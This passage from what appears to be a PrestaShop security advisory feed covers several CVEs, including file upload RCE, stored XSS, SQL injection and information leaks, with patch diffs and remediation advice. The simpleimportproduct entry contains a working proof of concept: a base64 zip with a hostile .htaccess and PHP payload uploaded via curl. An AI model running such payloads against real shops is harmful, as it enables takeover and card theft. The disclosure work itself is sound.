</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Account Manager - Sales Representative &amp; Dealers - CRM” (prestasalesmanager) up to version 8.0.0 from Presta World for PrestaShop, a guest can download personal information without restriction by performing a path traversal attack.]]></summary></entry><entry><title type="html">[CVE-2024-25846] Unrestricted Upload of File with Dangerous Type in MyPrestaModules - Product Catalog (CSV, Excel) Import module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/27/simpleimportproduct.html" rel="alternate" type="text/html" title="[CVE-2024-25846] Unrestricted Upload of File with Dangerous Type in MyPrestaModules - Product Catalog (CSV, Excel) Import module for PrestaShop" /><published>2024-02-27T00:00:00+00:00</published><updated>2024-02-27T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/27/simpleimportproduct</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/27/simpleimportproduct.html"><![CDATA[<p>In the module “Product Catalog (CSV, Excel) Import” (simpleimportproduct) up to version 6.7.0 from MyPrestaModules for PrestaShop, a guest can upload files with extensions .php.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25846">CVE-2024-25846</a></li>
  <li><strong>Published at</strong>: 2024-02-27</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: simpleimportproduct</li>
  <li><strong>Impacted release</strong>: &lt;= 6.7.0 (6.7.1 ““fixed”” the vulnerability - See note below)</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/434.html">CWE-434</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">Send::__construct()</code> allows the upload of .zip files, which can be auto uncompress in a predictable directory, author tries to protect it with a.htaccess, but since we can forge a zip with a custom .htaccess and a PHP payload, it will lead to a critical vulnerability <a href="https://cwe.mitre.org/data/definitions/94.html">CWE-94</a>.</p>

<p><strong>WARNING</strong> : Be warned that this exploit will bypass the majority of WAF (zipped payload with htaccess auto-hijacked)</p>

<p>Note : The author has moved its exposed ajax script which suffers a critical issue to a front controller under an unpredictable token. It remains a critical vulnerability issue with a CVSS 3.1 score <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H">9.1/10</a>. For this reason, you should consider to delete this module.</p>

<p><strong>Edit 2024-07-09 - WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards. Since POC is now exploited, it is considered public.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Steal data</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'UEsDBBQAAAAIACmivFa0Sii9DgAAAA4AAAAJAAAALmh0YWNjZXNzS8zJyS9XSCvKz1UAMgFQSwMEFAAAAAgAoqG8Vp+ixh8WAAAAFAAAAAUAAABhLnBocLOxL8go4OVKTc7IV9AwMtQ2MtS0BgBQSwECHwAUAAAACAAporxWtEoovQ4AAAAOAAAACQAkAAAAAAAAACAAAAAAAAAALmh0YWNjZXNzCgAgAAAAAAABABgA59XXo5CR2QHn1dejkJHZAeJTwpqQkdkBUEsBAh8AFAAAAAgAoqG8Vp+ixh8WAAAAFAAAAAUAJAAAAAAAAAAgAAAANQAAAGEucGhwCgAgAAAAAAABABgA07RBDJCR2QHTtEEMkJHZAaRqZqCOkdkBUEsFBgAAAAACAAIAsgAAAG4AAAAAAA=='</span> <span class="o">&gt;</span> tmp <span class="o">&amp;&amp;</span> <span class="nb">base64</span> <span class="nt">-d</span> tmp <span class="o">&gt;</span> test.zip <span class="o">&amp;&amp;</span> curl <span class="nt">-v</span> <span class="nt">-F</span> <span class="s2">"file=@test.zip"</span> <span class="s1">'https://preprod.X/modules/simpleimportproduct/classes/send.php?zip_file=1&amp;ajax=1&amp;stepTwo=1&amp;import_settings_name=1'</span> <span class="o">&amp;&amp;</span> curl <span class="nt">-v</span> <span class="s1">'https://preprod.X/modules/simpleimportproduct/data/zip_files/a.php'</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module <strong>simpleimportproduct</strong> or at least, to upgrade it to its latest version.</li>
  <li>Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-28</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-28</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-06-01</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-11-15</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-27</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/import-export-de-donnees/19091-catalogue-de-produits-csv-excel-dimportation.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25846">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Catalog (CSV, Excel) Import” (simpleimportproduct) up to version 6.7.0 from MyPrestaModules for PrestaShop, a guest can upload files with extensions .php.]]></summary></entry><entry><title type="html">[CVE-2024-25841] Improper Neutralization of Input During Web Page Generation in Common-Services - So Flexibilite module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/27/soflexibilite.html" rel="alternate" type="text/html" title="[CVE-2024-25841] Improper Neutralization of Input During Web Page Generation in Common-Services - So Flexibilite module for PrestaShop" /><published>2024-02-27T00:00:00+00:00</published><updated>2024-02-27T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/27/soflexibilite</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/27/soflexibilite.html"><![CDATA[<p>In the module “So Flexibilite” (soflexibilite) up to version 4.1.14 from Common-Services for PrestaShop, a guest (authenticated customer) can perform XSS injection of type 2 (Stored XSS) from FRONT to BACK (F2B) within the funnel order in affected versions.</p>

<p>Note: To succeed in this exploit, the red team needs to pay to convert a cart into a valid order with a SoColissimo carrier, which allows you to enter a custom email such as “Point Relay” and requires the administrator to go to the order management page in its backoffice. To be exploited, you will probably need interaction with the shop’s owner to update the custom email given for SoColissimo after you pay.</p>

<p>Since there is a deletion of hooks with PS 1.7.7+, it does not concern all installations :</p>
<ul>
  <li>Versions from 4.0.X to 4.1.6 are only vulnerable on PS 1.7.6- (including probably PS 1.6 - to confirm) since hookDisplayAdminOrderContentShip no longer exist on PS 1.7.7+ (https://devdocs.prestashop-project.org/1.7/modules/core-updates/1.7.7/#modified-hooks)</li>
  <li>Versions from 4.1.7 and above are vulnerable on all PS versions (at least 1.7+ - to confirm on PS 1.6)</li>
</ul>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25841">CVE-2024-25841</a></li>
  <li><strong>Published at</strong>: 2024-02-27</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: soflexibilite</li>
  <li><strong>Impacted release</strong>: &lt;= 4.1.14 (4.1.26 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Common-Services</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: critical (9.0)</li>
</ul>

<h2 id="description">Description</h2>

<p>As all <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">XSS type 2 (Stored XSS) F2B (Front to Back)</a>, there are two steps and a prerequisite.</p>

<p>Prerequisite :</p>
<ul>
  <li>The field <code class="language-plaintext highlighter-rouge">ceemail</code> within table colissimo_delivery_info suffers from a type varchar(64), which is large enough to allow dangerous XSS payloads.</li>
</ul>

<p>Steps :</p>
<ul>
  <li>The method <code class="language-plaintext highlighter-rouge">SoFlexibiliteDeliveryInfo::save()</code> does not properly clean the parameter <code class="language-plaintext highlighter-rouge">ceemail</code>. pSQL is useless against XSS which exploits HTML tag attributes (Category 2 according to OWASP - pSQL only neutralized Category 1 thanks to its strip_tags).</li>
  <li>The output in the backoffice is not escaped in the related smarty template that uses it.</li>
</ul>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Unlock design’s vulnerability, see this : https://friends-of-presta.github.io/security-advisories/modules/2023/02/07/stored-xss.html</li>
</ul>

<h2 id="patch-from-4114">Patch from 4.1.14</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.1.14/modules/soflexibilite/views/templates/admin/orders/displayadminordercontentship.tpl
</span><span class="gi">+++ 4.1.26/modules/soflexibilite/views/templates/admin/orders/displayadminordercontentship.tpl
</span><span class="err">...</span>
                &lt;/span&gt;
<span class="gd">-               &lt;input type="email" class="form-control ceemail" placeholder="{l s='Email' mod='soflexibilite'}" aria-describedby="sf_sumpup_email" value="{$sf_delivery_info-&gt;ceemail}"&gt;
</span><span class="gi">+               &lt;input type="email" class="form-control ceemail" placeholder="{l s='Email' mod='soflexibilite'}" aria-describedby="sf_sumpup_email" value="{$sf_delivery_info-&gt;ceemail|escape:'htmlall':'UTF-8'}"&gt;
</span>            &lt;/div&gt;
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>soflexibilite</strong>.</li>
  <li>Systematically escape characters ‘ “ &lt; and &gt; by replacing them with HTML entities and applying strip_tags - Smarty and Twig provide auto-escape filters :
    <ul>
      <li>Smarty: <code class="language-plaintext highlighter-rouge">{$value.comment|escape:'html':'UTF-8'}</code></li>
      <li>Twig:<code class="language-plaintext highlighter-rouge">{{value.comment|e}}</code></li>
    </ul>
  </li>
  <li>Limit to the strict minimum the length’s value in database - a database field that allows 10 characters (<code class="language-plaintext highlighter-rouge">varchar(10)</code>) is far less dangerous than a field that allows 40+ characters (use cases that can exploit fragmented XSS payloads are very rare).</li>
  <li>Configure CSP headers (content security policies) by listing external domains allowed to load assets (such as js files) or being called in XHR transactions (Ajax).</li>
  <li>If applicable: check against all your frontoffice’s uploaders, uploading files that will be served by your server that mime type application/javascript (like every .js natively) must be strictly forbidden as it must be considered as dangerous as PHP files.</li>
  <li>Activate OWASP 941’s rules on your WAF (Web application firewall) - be warned that you will probably break your frontoffice/backoffice and you will need to preconfigure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-27</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-02-27</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-09-14</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-01-24</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-02-22</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-27</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/transporteurs/2704-colissimo-domicile-et-points-de-retrait.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-25841">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “So Flexibilite” (soflexibilite) up to version 4.1.14 from Common-Services for PrestaShop, a guest (authenticated customer) can perform XSS injection of type 2 (Stored XSS) from FRONT to BACK (F2B) within the funnel order in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-24310] Improper neutralization of SQL parameter in Ether Création - Generate barcode on invoice / delivery slip module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/20/ecgeneratebarcode.html" rel="alternate" type="text/html" title="[CVE-2024-24310] Improper neutralization of SQL parameter in Ether Création - Generate barcode on invoice / delivery slip module for PrestaShop" /><published>2024-02-20T00:00:00+00:00</published><updated>2024-02-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/20/ecgeneratebarcode</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/20/ecgeneratebarcode.html"><![CDATA[<p>In the module “Generate barcode on invoice / delivery slip” (ecgeneratebarcode) up to version 1.2.0 from Ether Création for PrestaShop, a guest can perform SQL injection in affected versions if the module is not installed OR if a secret accessible to administrator is stolen.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24310">CVE-2024-24310</a></li>
  <li><strong>Published at</strong>: 2024-02-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ecgeneratebarcode</li>
  <li><strong>Impacted release</strong>: &lt;= 1.2.0 (2.0.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Ether Création</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: high (8.8)</li>
</ul>

<h2 id="description">Description</h2>

<p><em>Foreword : we are forced to tag privilege LOW (need a valid order reference) on the CVSS 3.1 score which make it a high vulnerability since it will be high if the module has never been installed OR (if the ECO_TOKEN_BARCODE configuration do not exist OR is empty), but keep in mind that for the majority of installations, the gravity is reduced to <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS 3.1 7.2/10</a></em></p>

<p>The script PHP <code class="language-plaintext highlighter-rouge">ajax.php</code> own a sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection if a valid Order reference is known.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Steal/Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-120">Patch from 1.2.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.2.0/modules/ecgeneratebarcode/ajax.php
</span><span class="gi">+++ XXXXX/modules/ecgeneratebarcode/ajax.php
</span><span class="err">...</span>
-if (Tools::getValue('ec_token') != Configuration::get('ECO_TOKEN_BARCODE')) {
<span class="gi">+if (Tools::isEmpty('ec_token') || Tools::getValue('ec_token') !== Configuration::get('ECO_TOKEN_BARCODE')) {
</span><span class="err">...</span>
-   $shop = Tools::getValue('idshop');
<span class="gi">+   $shop = (int) Tools::getValue('idshop');
</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>ecgeneratebarcode</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-21</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-21</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Contact PrestaShop Addons security Team confirm version scope</td>
    </tr>
    <tr>
      <td>2024-02-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/preparation-shipping/24123-generate-barcode-on-invoice-delivery-slip.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-24310">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Generate barcode on invoice / delivery slip” (ecgeneratebarcode) up to version 1.2.0 from Ether Création for PrestaShop, a guest can perform SQL injection in affected versions if the module is not installed OR if a secret accessible to administrator is stolen.]]></summary></entry><entry><title type="html">[CVE-2024-24309] Exposure of Sensitive Information to an Unauthorized Actor in Ecomiz - Survey TMA module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/20/ecomiz_survey_tma.html" rel="alternate" type="text/html" title="[CVE-2024-24309] Exposure of Sensitive Information to an Unauthorized Actor in Ecomiz - Survey TMA module for PrestaShop" /><published>2024-02-20T00:00:00+00:00</published><updated>2024-02-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/20/ecomiz_survey_tma</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/20/ecomiz_survey_tma.html"><![CDATA[<p>In the module “Survey TMA” (ecomiz_survey_tma) up to version 2.0.0 from Ecomiz for PrestaShop, a guest can download technical information without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24309">CVE-2024-24309</a></li>
  <li><strong>Published at</strong>: 2024-02-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ecomiz_survey_tma</li>
  <li><strong>Impacted release</strong>: &lt;= 1.2.0 (2.0.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Ecomiz</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/200.html">CWE-200</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a predictable token, a guest can access multiple technical information such as PrestaShop’s version, a full list of modules with their versions, the database name/host/user/prefix (excluding password), and commercial statistics.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Get precious technical data to facilitate others attacks like <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
</ul>

<h2 id="patch-from-120">Patch from 1.2.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.2.0/modules/ecomiz_survey_tma/controllers/front/survey.php
</span><span class="gi">+++ XXXXX/modules/ecomiz_survey_tma/controllers/front/survey.php
</span><span class="err">...</span>
-      if($querytoken == "HARDCODED_TOKEN")
<span class="gi">+      if($querytoken == Tools::encrypt($this-&gt;module-&gt;name))
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>You should restrict access to all FC of the module ecomiz_survey_tma</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-14</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-14</td>
      <td>Contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-08-14</td>
      <td>Author confirm versions scope</td>
    </tr>
    <tr>
      <td>2024-02-05</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-02-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>EcomiZ thanks <a href="https://www.touchweb.fr">TouchWeb</a> for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.ecomiz.com/">Author page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-24309">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;EcomiZ&quot;, &quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Survey TMA” (ecomiz_survey_tma) up to version 2.0.0 from Ecomiz for PrestaShop, a guest can download technical information without restriction.]]></summary></entry><entry><title type="html">[CVE-2024-24308] Improper neutralization of SQL parameter in Boostmyshop module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/02/08/boostmyshopagent.html" rel="alternate" type="text/html" title="[CVE-2024-24308] Improper neutralization of SQL parameter in Boostmyshop module for PrestaShop" /><published>2024-02-08T00:00:00+00:00</published><updated>2024-02-08T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/02/08/boostmyshopagent</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/02/08/boostmyshopagent.html"><![CDATA[<p>In the module “Boostmyshop” (boostmyshopagent) up to version 1.1.9 from Boostmyshop for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24308">CVE-2024-24308</a></li>
  <li><strong>Published at</strong>: 2024-02-08</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: boostmyshopagent</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1.9 (1.1.10 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Boostmyshop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The scripts changeOrderCarrier.php, relayPoint.php and shippingConfirmation.php has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Be warned that this module own others sensitives issues like BLIND SSRF which are ignored as all vulnerabilities with a CVSS 3.1 score &lt; 7.5. See recommendations below.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-119">Patch from 1.1.9</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.9/modules/boostmyshopagent/webservice/changeOrderCarrier.php
</span><span class="gi">+++ XXXXX/modules/boostmyshopagent/webservice/changeOrderCarrier.php
</span>        $query = new DbQuery();
        $query-&gt;select('*');
        $query-&gt;from('webservice_account');
<span class="gd">-       $query-&gt;where('`key` = "' . $apiKey . '"');
</span><span class="gi">+       $query-&gt;where('`key` = "' . pSQL($apiKey) . '"');
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.9/modules/boostmyshopagent/webservice/relayPoint.php
</span><span class="gi">+++ XXXXX/modules/boostmyshopagent/webservice/relayPoint.php
</span>        $query = new DbQuery();
        $query-&gt;select('*');
        $query-&gt;from('webservice_account');
<span class="gd">-       $query-&gt;where('`key` = "' . $apiKey . '"');
</span><span class="gi">+       $query-&gt;where('`key` = "' . pSQL($apiKey) . '"');
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.9/modules/boostmyshopagent/webservice/shippingConfirmation.php
</span><span class="gi">+++ XXXXX/modules/boostmyshopagent/webservice/shippingConfirmation.php
</span>        $query = new DbQuery();
        $query-&gt;select('*');
        $query-&gt;from('webservice_account');
<span class="gd">-       $query-&gt;where('`key` = "' . $apiKey . '"');
</span><span class="gi">+       $query-&gt;where('`key` = "' . pSQL($apiKey) . '"');
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.7/modules/boostmyshopagent/webservice/pack.php
</span><span class="gi">+++ XXXXX/modules/boostmyshopagent/webservice/pack.php
</span>     $query = new DbQuery();
     $query-&gt;select('*');
     $query-&gt;from('webservice_account');
<span class="gd">-    $query-&gt;where('`key` = "' . $apiKey . '"');
